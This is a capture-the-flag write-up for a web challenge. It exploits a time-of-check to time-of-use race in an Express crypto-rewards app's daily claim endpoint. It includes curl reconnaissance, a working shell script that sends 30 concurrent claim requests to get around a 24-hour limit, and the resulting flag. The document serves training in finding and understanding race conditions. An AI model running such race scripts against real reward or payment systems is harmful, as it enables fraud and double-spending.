Writeup on THM Holiday Hack 2026:
Day 8 - Web / Towel on the Sunbed

Author: Hubert Feyrer / hubertf, 2026-08-04


"Ponzi - Wellness Rewards" is a Node.js/Express crypto-rewards toy on http://MACHINE_IP:3000. Users earn 50 PONZI by claiming a staking reward "once every 24 hours", and the Whale Vault - which holds the flag - unlocks at 150 PONZI. Legitimately that is three days of waiting. The bug is a classic Time-Of-Check to Time-Of-Use (TOCTOU) race: the claim endpoint verifies the 24h timer and writes the new timestamp as two separate steps, so a burst of concurrent claims all slip through the same open window and mint the reward several times over.

Challenge description

Concierge Briefing
Ponzi found the resort's wellness portal running a little side project called Ponzi - a crypto rewards app, poolside edition. He set his towel down, claimed his daily reward, and went to reapply sunscreen. He came back to find the sunbed had been "claimed" three times over while he wasn't looking.

He's convinced the app owes him a spot in the Whale Vault. The app disagrees, politely, once every 24 hours. Somewhere between his request and the server's clock, there's a gap wide enough to walk a whale through.

Today's itinerary: Create a guest account and explore Ponzi's daily reward mechanism. Work out exactly what's standing between you and Whale Vault status. Find your way past it and retrieve the flag from the vault.

@0xMia, posted 40 min after room unlock: "ponzi guy has been refreshing his dashboard for an HOUR waiting on this timer bro really thinks the clock is the only thing checking him #HackerHolidays"

1. Download

None. This is a black-box web challenge; everything below comes from the running app.

2. Docker/nc - what we get

A single web app behind the VPN at http://10.114.170.233:3000. It is Express, and the root path bounces to a login:

$ curl -s -i http://10.114.170.233:3000/
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /auth/login

$ curl -s http://10.114.170.233:3000/auth/login | grep -i 'form\|input\|register'
    <form id="login-form">
        <input type="text" id="username" name="username" ...>
        <input type="password" id="password" name="password" ...>
    No account? <a href="/auth/register">Register</a>

Conclusion: a cookie-session Express app with self-service registration. The client JavaScript (/js/auth.js) shows the forms POST JSON to /auth/register and /auth/login, then redirect to /dashboard.

3. Analysis steps

3.1 Register and read the reward mechanism (success)

The itinerary says to make a guest account and explore. Register one, keep the session cookie, and query the dashboard's state API.

$ curl -s -i -c ponzi.jar -H 'Content-Type: application/json' \
       --data '{"username":"wholez","password":"whale1234"}' \
       http://10.114.170.233:3000/auth/register
HTTP/1.1 201 Created
Set-Cookie: connect.sid=s%3Ac1q8pAf6...; Path=/; HttpOnly
{"message":"Account created.","redirect":"/dashboard"}

$ curl -s -b ponzi.jar http://10.114.170.233:3000/dashboard/api/me
{"id":2,"username":"wholez","balance":0,"tier":"Shrimp","whaleThreshold":150,
 "canClaim":true,"secondsUntilClaim":0, ...}

The dashboard HTML and /js/dashboard.js spell out the rules and the endpoints:

Staking Rewards:  "Earn 50 PONZI every 24 hours by claiming your staking reward."
Whale Vault:      "Reach 150 PONZI to unlock the Whale Vault ..."

GET  /dashboard/api/me   -> { balance, canClaim, secondsUntilClaim, whaleThreshold }
POST /claim              -> +50 PONZI, then canClaim=false for 24h
GET  /vault              -> the flag, once balance >= 150

Conclusion: start at 0, need 150, each claim is +50 and then locked for 24h. Playing by the rules that is three claims across three days.

3.2 Where the gap is (success)

The only thing gating a claim is the 24h timer (canClaim / secondsUntilClaim). @0xMia's hint - "the clock is the only thing checking him" - points straight at it: if the endpoint checks canClaim and only afterwards writes the new timestamp, the two steps are not atomic. Requests that arrive in the same instant all see canClaim=true, all award +50, and only then does the lock get set. That is TOCTOU, and it is exactly the "claimed three times over" from the briefing.

Conclusion: no need to defeat the timer, just outrun the write. Fire many POST /claim concurrently from the one logged-in session and several should land before the lock closes. 150 is only three; a burst overshoots comfortably.

3.3 Race the claim (success)

Fire 30 claims in parallel against the single session (race.sh, section 4), then read the balance back.

$ sh race.sh
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":300,"tier":"Whale",...}
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":450,"tier":"Whale",...}
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":250,"tier":"Whale",...}
{"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}
... (9 successes, the rest rejected)
{"id":2,"username":"wholez","balance":450,"tier":"Whale","whaleThreshold":150,"canClaim":false,...}

Conclusion: nine claims slipped through in one burst - balance 450, tier Whale. The contradictory newBalance values (300, then 450, then 250) are the race made visible: each request read the balance, added 50, and wrote back, clobbering the others. It is a lost-update race, which is why the final total is not a clean multiple lined up in order - but it is well over 150, which is all the vault checks.

3.4 Open the vault (success)

Balance is past the 150 threshold, so the vault should hand over the flag.

$ curl -s -b ponzi.jar http://10.114.170.233:3000/vault
{"message":"Welcome to the Whale Vault.","flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}","balance":450}
THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}

Conclusion: the flag name - "towel on the sunbed, double spent" - is the bug in four words. One reward, claimed many times, because the check and the write were not atomic.

4. Solution

The exploit, race.sh, run against a session already logged in to ponzi.jar:

#!/bin/sh
# Race the non-atomic 24h claim guard on Ponzi's staking reward.
# One claim is +50 PONZI, supposed to be allowed once per 24h. The check
# ("may this user claim?") and the write ("stamp last_claim = now") are not
# atomic, so firing N claims concurrently lets several pass the canClaim
# check before any records the timestamp. Whale Vault opens at 150 PONZI.

URL=http://10.114.170.233:3000
JAR=ponzi.jar
N=30

i=0
while [ $i -lt $N ]; do
    curl -s -b "$JAR" -X POST "$URL/claim" >/dev/null &
    i=$((i + 1))
done
wait

curl -s -b "$JAR" "$URL/dashboard/api/me"
echo

5. Run it

$ # 1) register and keep the session
$ curl -s -c ponzi.jar -H 'Content-Type: application/json' \
       --data '{"username":"wholez","password":"whale1234"}' \
       http://10.114.170.233:3000/auth/register
{"message":"Account created.","redirect":"/dashboard"}

$ # 2) race the claim -> Whale
$ sh race.sh
... (9 successful claims)
{"id":2,"username":"wholez","balance":450,"tier":"Whale","whaleThreshold":150,"canClaim":false,...}

$ # 3) open the vault
$ curl -s -b ponzi.jar http://10.114.170.233:3000/vault
{"message":"Welcome to the Whale Vault.","flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}","balance":450}

6. Summary of how the exploit works

#StageMechanism
1Enumerate Register a guest account; /dashboard/api/me reveals balance 0, whale threshold 150, and a claim worth +50 gated by a 24h timer (canClaim/secondsUntilClaim).
2Spot the TOCTOU POST /claim checks the timer and writes the new timestamp as two non-atomic steps. The timer is the only guard - "the clock is the only thing checking him".
3Race it Fire 30 concurrent POST /claim from one session. Nine pass the canClaim check before the lock is written; balance jumps to 450, tier Whale (a lost-update race, visible in the contradictory newBalance values).
4Loot the vault With balance >= 150, GET /vault returns the flag.